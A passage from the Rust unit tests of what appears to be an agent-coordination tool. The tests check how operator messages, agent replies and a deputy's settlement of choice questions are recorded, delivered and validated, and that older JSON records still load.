3541            q.choices = vec![crate::land::APPROVE.into(), choice.into()];
3542            q.merge_target = Some(target());
3543            q.say("ちょっと待って、そっちでお願い").unwrap();
3544            q.settle_by_deputy("deputy-x", choice, Some("owner chose this"))
3545                .unwrap();
3546            assert_eq!(q.resolution().as_deref(), Some(choice));
3547        }
3548        // A local release approval settles the same way.
3549        let mut release = Question::new(
3550            String::new(),
3551            crate::bump::NOTICE_NODE.into(),
3552            "release-watch".into(),
3553            "Release?".into(),
3554            String::new(),
3555            vec![crate::land::APPROVE.into(), crate::land::HOLD.into()],
3556        );
3557        release.deputy = approval_question().deputy;
3558        release.say("リリースしていいよ").unwrap();
3559        release
3560            .settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3561            .unwrap();
3562        assert_eq!(release.resolution().as_deref(), Some(crate::land::APPROVE));
3563    }
3564
3565    #[test]
3566    fn a_deputy_settles_posting_and_destructive_choices_without_a_quote() {
3567        use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3568        for choice in [POST_ORIGINAL, USE_REWRITE] {
3569            let mut q = Question::new(
3570                "run".into(),
3571                ASK_NODE.into(),
3572                ASK_SEAT.into(),
3573                "s".into(),
3574                String::new(),
3575                vec![USE_FALLBACK.into(), choice.into()],
3576            );
3577            q.deputy = approval_question().deputy;
3578            q.say("それでいいよ、投稿して").unwrap();
3579            q.settle_by_deputy("deputy-x", choice, None).unwrap();
3580            assert_eq!(q.resolution().as_deref(), Some(choice));
3581        }
3582        let mut discard = approval_question();
3583        discard.node = "recovery".into();
3584        discard.choices.push("discard".into());
3585        discard.actions.insert("discard".into(), ChoiceAction::Done);
3586        discard.say("おっけーそれぞれ回答してー").unwrap();
3587        discard
3588            .settle_by_deputy("deputy-x", "discard", None)
3589            .unwrap();
3590        assert_eq!(discard.chosen_action(), Some(&ChoiceAction::Done));
3591    }
3592
3593    #[test]
3594    fn hold_may_carry_the_hold_effect_but_no_other_action() {
3595        let mut q = choice_question();
3596        q.choices = vec![crate::land::HOLD.into(), "finish".into()];
3597        q.actions
3598            .insert(crate::land::HOLD.into(), ChoiceAction::Hold);
3599        q.clone()
3600            .answer(Answer::Choice(crate::land::HOLD.into()))
3601            .unwrap();
3602        q.actions
3603            .insert(crate::land::HOLD.into(), ChoiceAction::Done);
3604        assert!(q.answer(Answer::Choice(crate::land::HOLD.into())).is_err());
3605    }
3606
3607    fn settle_ready() -> Question {
3608        let mut q = Question::new(
3609            "task".to_owned(),
3610            "conduct".to_owned(),
3611            "conduct".to_owned(),
3612            "Done?".to_owned(),
3613            String::new(),
3614            vec!["yes".to_owned(), "no".to_owned()],
3615        );
3616        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3617        seat.turns = 1;
3618        let mut dep = Deputy::new("brief".to_owned());
3619        dep.seat = Some(seat);
3620        q.deputy = Some(dep);
3621        q.say("setup done, and file a follow-up").unwrap();
3622        q
3623    }
3624
3625    #[test]
3626    fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3627        let dir = tempfile::TempDir::new().unwrap();
3628        let store = Questions::at(dir.path().join("questions"));
3629        let mut q = settle_ready();
3630        let id = q.id.clone();
3631        store.put(&mut q).unwrap();
3632        store
3633            .update(&id, |q| {
3634                q.settle_by_deputy("deputy-x", "yes", Some("  no follow-up was queued  "))
3635            })
3636            .unwrap();
3637        let back = store.get(&id).unwrap();
3638        let turn = back.thread.last().unwrap();
3639        assert_eq!(turn.who, Who::Agent);
3640        assert!(turn.body.starts_with("Settled as `yes`"));
3641        assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3642        assert_eq!(back.thread[0].note, None);
3643    }
3644
3645    #[test]
3646    fn an_empty_or_blank_settle_note_is_no_note() {
3647        for note in [None, Some(""), Some("  \n ")] {
3648            let mut q = settle_ready();
3649            q.settle_by_deputy("deputy-x", "yes", note).unwrap();
3650            assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3651            let json = serde_json::to_string(&q).unwrap();
3652            assert!(!json.contains("\"note\""), "no key when there is none");
3653        }
3654    }
3655
3656    #[test]
3657    fn a_refused_settle_leaves_no_note_behind() {
3658        let mut q = settle_ready();
3659        let before = q.thread.clone();
3660        assert!(q.settle_by_deputy("deputy-x", "maybe", Some("n")).is_err());
3661        assert!(
3662            q.settle_by_deputy("someone-else", "yes", Some("n"))
3663                .is_err()
3664        );
3665        assert_eq!(q.thread, before);
3666        assert_eq!(q.status, QuestionStatus::Open);
3667    }
3668
3669    #[test]
3670    fn a_turn_written_before_notes_existed_still_reads() {
3671        let t: Turn =
3672            serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3673                .unwrap();
3674        assert_eq!(t.note, None);
3675    }
3676
3677    #[test]
3678    fn a_deputy_settles_only_its_own_open_question_on_an_offered_choice() {
3679        let mut q = Question::new(
3680            "task".to_owned(),
3681            "conduct".to_owned(),
3682            "conduct".to_owned(),
3683            "Done?".to_owned(),
3684            String::new(),
3685            vec!["yes".to_owned(), "no".to_owned()],
3686        );
3687        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3688        seat.turns = 1;
3689        let mut dep = Deputy::new("brief".to_owned());
3690        dep.seat = Some(seat);
3691        q.deputy = Some(dep);
3692        q.say("setup done, go ahead").unwrap();
3693
3694        assert!(q.settle_by_deputy("someone-else", "yes", None).is_err());
3695        assert!(q.settle_by_deputy("deputy-x", "maybe", None).is_err());
3696        let mut routed = q.clone();
3697        routed.routed_task = Some("task".into());
3698        assert!(
3699            routed.settle_by_deputy("deputy-x", "yes", None).is_err(),
3700            "a routed decision belongs to the task chat"
3701        );
3702        assert_eq!(q.status, QuestionStatus::Open);
3703
3704        q.settle_by_deputy("deputy-x", "yes", None).unwrap();
3705        assert_eq!(q.status, QuestionStatus::Answered);
3706        assert_eq!(q.resolution().as_deref(), Some("yes"));
3707        let last = q.thread.last().unwrap();
3708        assert_eq!(last.who, Who::Agent);
3709        assert!(last.body.starts_with("Settled as `yes`"));
3710        let turns = q.thread.len();
3711        assert!(
3712            q.settle_by_deputy("deputy-x", "no", None).is_err(),
3713            "a settled question is not settled twice"
3714        );
3715        assert_eq!(q.thread.len(), turns);
3716    }
3717
3718    #[test]
3719    fn old_answer_evidence_still_loads_and_survives_a_re_save() {
3720        let q = choice_question();
3721        let mut v = serde_json::to_value(&q).unwrap();
3722        v["answer_authority"] = serde_json::json!({
3723            "talk": "talk", "turn": 0, "message": 0,
3724            "instruction": "id: use my text fp\nA title",
3725            "instruction_fingerprint": "f", "recommendation_turn": null,
3726            "recommendation_fingerprint": null, "question": q.id, "choice": "SQLite",
3727            "question_fingerprint": "g", "recovery_interpretation": "r"
3728        });
3729        let back: Question = serde_json::from_value(v).unwrap();
3730        let legacy = back.answer_authority.as_ref().unwrap();
3731        assert_eq!(legacy.question, q.id);
3732        assert_eq!(legacy.instruction, "id: use my text fp\nA title");
3733        // A re-save keeps what an old pending `use my text` answer needs, and
3734        // nothing else of the old evidence.
3735        let written = serde_json::to_value(&back).unwrap();
3736        assert_eq!(
3737            written["answer_authority"],
3738            serde_json::json!({
3739                "question": q.id, "choice": "SQLite",
3740                "instruction": "id: use my text fp\nA title"
3741            })
3742        );
3743        let again: Question = serde_json::from_value(written).unwrap();
3744        assert_eq!(again.answer_authority, back.answer_authority);
3745        assert!(
3746            serde_json::to_value(&q)
3747                .unwrap()
3748                .get("answer_authority")
3749                .is_none()
3750        );
3751    }
3752
3753    #[test]
3754    fn a_question_written_before_deputies_still_reads() {
3755        let mut q = Question::new(
3756            "task".to_owned(),
3757            "conduct".to_owned(),
3758            "conduct".to_owned(),
3759            "Done?".to_owned(),
3760            String::new(),
3761            Vec::new(),
3762        );
3763        q.schema = 4;
3764        let mut v = serde_json::to_value(&q).unwrap();
3765        v.as_object_mut().unwrap().remove("deputy");
3766        let back: Question = serde_json::from_value(v).unwrap();
3767        assert!(back.deputy.is_none());
3768    }
3769
3770    #[test]
3771    fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3772        let mut q = choice_question();
3773        q.say("does the cache need eviction?").unwrap();
3774        assert_eq!(q.thread.len(), 1);
3775        assert_eq!(q.thread[0].who, Who::Operator);
3776        assert_eq!(q.thread[0].body, "does the cache need eviction?");
3777        // Speaking is not deciding: the status and the answer are untouched,
3778        // which is the whole point of the round trip existing at all.
3779        assert_eq!(q.status, QuestionStatus::Open);
3780        assert!(q.answer.is_none());
3781        assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3782    }
3783
3784    #[test]
3785    fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3786        let mut answered = choice_question();
3787        answered
3788            .answer(Answer::Choice("SQLite".to_owned()))
3789            .unwrap();
3790        let a = answered.say("still there?").unwrap_err().to_string();
3791        assert!(a.contains("already answered"), "{a}");
3792        let b = answered
3793            .reply("still there?", vec![])
3794            .unwrap_err()
3795            .to_string();
3796        assert!(b.contains("already answered"), "{b}");
3797
3798        let mut abandoned = choice_question();
3799        abandoned.abandon("timed out");
3800        let c = abandoned.say("hello?").unwrap_err().to_string();
3801        assert!(c.contains("abandoned"), "{c}");
3802
3803        let mut open = choice_question();
3804        let d = open.say("   ").unwrap_err().to_string();
3805        assert!(d.contains("empty"), "{d}");
3806        let e = open.reply("  \n", vec![]).unwrap_err().to_string();
3807        assert!(e.contains("empty"), "{e}");
3808        assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3809    }
3810
3811    #[test]
3812    fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3813        let mut q = choice_question();
3814        q.say("SQLite or Redis, but what about disk space?")
3815            .unwrap();
3816        assert!(q.waiting_on_agent());
3817
3818        q.reply(
3819            "SQLite: it is one file, no server to run.",
3820            vec!["SQLite".to_owned()],
3821        )
3822        .unwrap();
3823
3824        assert_eq!(q.choices, ["SQLite"]);
3825        assert!(
3826            !q.waiting_on_agent(),
3827            "the agent spoke, so the owner is the one being waited on now"
3828        );
3829        assert_eq!(q.thread.len(), 2);
3830        assert_eq!(q.thread[1].who, Who::Agent);
3831
3832        // The new choice set is what a subsequent answer is checked against.
3833        assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3834        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3835        assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3836    }
3837
3838    #[test]
3839    fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3840        let mut fresh = choice_question();
3841        assert!(
3842            fresh.should_notify(Timestamp::now()),
3843            "nobody has been notified yet, so the first ask always pages"
3844        );
3845
3846        fresh.say("why not Postgres?").unwrap();
3847        let just_said = fresh.thread[0].at;
3848        assert!(
3849            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3850            "still on the screen a minute later; no need to page again"
3851        );
3852        assert!(
3853            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3854            "exactly the window: `>` means this side stays quiet"
3855        );
3856        assert!(
3857            fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3858            "past the window: they may have walked away"
3859        );
3860    }
3861
3862    #[test]
3863    fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3864        let (_dir, s) = store();
3865        let mut q = choice_question();
3866        s.put(&mut q).unwrap();
3867        q.say("why not Postgres?").unwrap();
3868        s.put(&mut q).unwrap();
3869        q.reply("no server to run", vec!["SQLite".to_owned()])
3870            .unwrap();
3871        s.put(&mut q).unwrap();
3872
3873        assert_eq!(
3874            s.count_open(),
3875            1,
3876            "one question that talked twice is still one open question"
3877        );
3878        assert_eq!(s.open_for(&q.run).len(), 1);
3879    }
3880
3881    #[tokio::test]
3882    async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3883        let (dir, s) = store();
3884        let mut q = choice_question();
3885        let id = q.id.clone();
3886        let writer = Questions::at(dir.path().join("questions"));
3887        let handle = tokio::spawn(async move {
3888            tokio::time::sleep(Duration::from_millis(30)).await;
3889            let mut fresh = writer.get(&id).expect("the question was filed first");
3890            fresh.say("why not Postgres?").unwrap();
3891            writer.put(&mut fresh).unwrap();
3892        });
3893
3894        let got = wait_for_owner(
3895            &mut q,
3896            &s,
3897            &quiet(),
3898            Duration::from_secs(5),
3899            Duration::from_millis(10),
3900        )
3901        .await
3902        .unwrap();
3903
3904        handle.await.unwrap();
3905        assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3906        assert_eq!(
3907            q.status,
3908            QuestionStatus::Open,
3909            "talking back is not a decision; the question stays open"
3910        );
3911        assert!(q.answer.is_none());
3912    }
3913
3914    #[test]
3915    fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3916        let mut q = choice_question();
3917        q.say("A").unwrap();
3918        q.delivered_turns = q.thread.len();
3919        q.say("B").unwrap();
3920        q.reply("about A", vec![]).unwrap();
3921        assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3922        q.delivered_turns = q.thread.len();
3923        assert_eq!(q.unread_from_owner(), None);
3924    }
3925
3926    #[test]
3927    fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3928        let (_d, s) = store();
3929        let mut q = choice_question();
3930        s.put(&mut q).unwrap();
3931        q.say("first").unwrap();
3932        q.say("second").unwrap();
3933        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3934        s.put(&mut q).unwrap();
3935        assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3936        let mut out = Vec::new();
3937        deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3938        let shown = String::from_utf8(out).unwrap();
3939        let (a, b, c) = (
3940            shown.find("first").unwrap(),
3941            shown.find("second").unwrap(),
3942            shown.find("SQLite").unwrap(),
3943        );
3944        assert!(a < b && b < c, "{shown}");
3945        assert_eq!(q.delivered_turns, q.thread.len());
3946        assert!(q.answer_delivered);
3947    }
3948
3949    #[test]
3950    fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3951        let mut q = choice_question();
3952        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3953        assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3954        let mut q = choice_question();
3955        q.say("old").unwrap();
3956        q.delivered_turns = q.thread.len();
3957        q.say("new").unwrap();
3958        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3959        let shown = answer_for_agent(&q, "SQLite");
3960        assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3961    }
3962
3963    #[test]
3964    fn reply_guidance_distinguishes_resume_actions_and_display_annotations() {
3965        let mut q = choice_question();
3966        q.choices = vec!["daemon: resume".into(), "daemon: hold".into()];
3967        q.actions.insert(
3968            q.choices[0].clone(),
3969            ChoiceAction::ResumeRun {
3970                run: "run-a".into(),
3971            },
3972        );
3973        q.actions.insert(q.choices[1].clone(), ChoiceAction::Hold);
3974        assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
3975        assert!(q.reply_guidance().contains("accepted aliases: keep-held"));
3976        assert!(
3977            q.resolve_reply("resume-run")
3978                .unwrap_err()
3979                .to_string()
3980                .contains("with offered choices")
3981        );
3982        assert_eq!(q.resolve_reply("daemon: resume").unwrap(), "daemon: resume");
3983        assert!(
3984            q.resolve_reply("daemon: resume [resume run run-a]")
3985                .is_err()
3986        );
3987        q.actions.insert(
3988            q.choices[0].clone(),
3989            ChoiceAction::Resume {
3990                run: "run-a".into(),
3991            },
3992        );
3993        assert!(q.reply_guidance().contains("accepted aliases: resume-run"));
3994        q.choices.push("another resume".into());
3995        q.actions.insert(
3996            "another resume".into(),
3997            ChoiceAction::Resume {
3998                run: "run-b".into(),
3999            },
4000        );
4001        assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
4002    }
4003
4004    #[test]
4005    fn recovery_aliases_require_a_unique_offered_structured_effect() {
4006        let mut q = choice_question();
4007        q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
4008        for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
4009            q.actions
4010                .insert(label.into(), ChoiceAction::Resume { run: run.into() });
4011        }
4012        assert!(
4013            q.resolve_reply("再開")
4014                .unwrap_err()
4015                .to_string()
4016                .contains("ambiguous")
4017        );
4018        assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
4019        q.choices.remove(1);
4020        assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
4021        assert!(q.resolve_reply("resume run-b").is_err());
4022        assert!(q.resolve_reply("保留").is_err());
4023        assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
4024        assert!(!ChoiceAction::Done.matches_alias("完了"));
4025    }
4026
4027    #[test]
4028    fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
4029        let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
4030        let ok = parse_actions(
4031            &[
4032                "resume で続行する=resume".to_owned(),
4033                "wait=done".to_owned(),
4034            ],
4035            &choices,
4036            "run-1",
4037        )
4038        .unwrap();
4039        assert_eq!(
4040            ok["resume で続行する"],
4041            ChoiceAction::Resume {
4042                run: "run-1".into()
4043            }
4044        );
4045        assert_eq!(ok["wait"], ChoiceAction::Done);
4046
4047        let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
4048        assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
4049        assert_eq!(
4050            ChoiceAction::parse("x=requeue", "").unwrap().1,
4051            ChoiceAction::Requeue
4052        );
4053
4054        assert_eq!(
4055            ChoiceAction::parse("x=hold", "").unwrap().1,
4056            ChoiceAction::Hold
4057        );
4058
4059        for bad in [
4060            "no-equals",
4061            "=done",
4062            "x=resume",
4063            "x=resume:",
4064            "x=explode",
4065            "x=done:1",
4066        ] {
4067            assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
4068        }
4069        assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
4070        assert!(
4071            parse_actions(
4072                &["wait=done".to_owned(), "wait=requeue".to_owned()],
4073                &choices,
4074                ""
4075            )
4076            .is_err()
4077        );
4078    }
4079
4080    #[test]
4081    fn only_a_chosen_label_with_an_action_is_actionable() {
4082        let mut q = choice_question();
4083        q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
4084        q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
4085        assert!(q.chosen_action().is_none(), "unanswered");
4086        q.answer(Answer::Choice("resume".to_owned())).unwrap();
4087        assert!(
4088            q.chosen_action().is_none(),
4089            "a label that merely reads like an action does nothing"
4090        );
4091
4092        let mut q2 = choice_question();
4093        q2.choices = vec!["SQLite".to_owned()];
4094        q2.actions
4095            .insert("SQLite".to_owned(), ChoiceAction::Requeue);
4096        q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4097        assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
4098    }
4099
4100    #[test]
4101    fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
4102        let mut q = choice_question();
4103        q.choices = vec!["A".to_owned(), "B".to_owned()];
4104        q.actions.insert("A".to_owned(), ChoiceAction::Done);
4105        q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
4106        q.reply("narrowing", vec!["B".to_owned()]).unwrap();
4107        assert_eq!(q.actions.len(), 1);
4108        assert!(q.actions.contains_key("B"));
4109
4110        let mut v = serde_json::to_value(&q).unwrap();
4111        v.as_object_mut().unwrap().remove("actions");
4112        let old: Question = serde_json::from_value(v).unwrap();
4113        assert!(old.actions.is_empty());
4114    }
4115}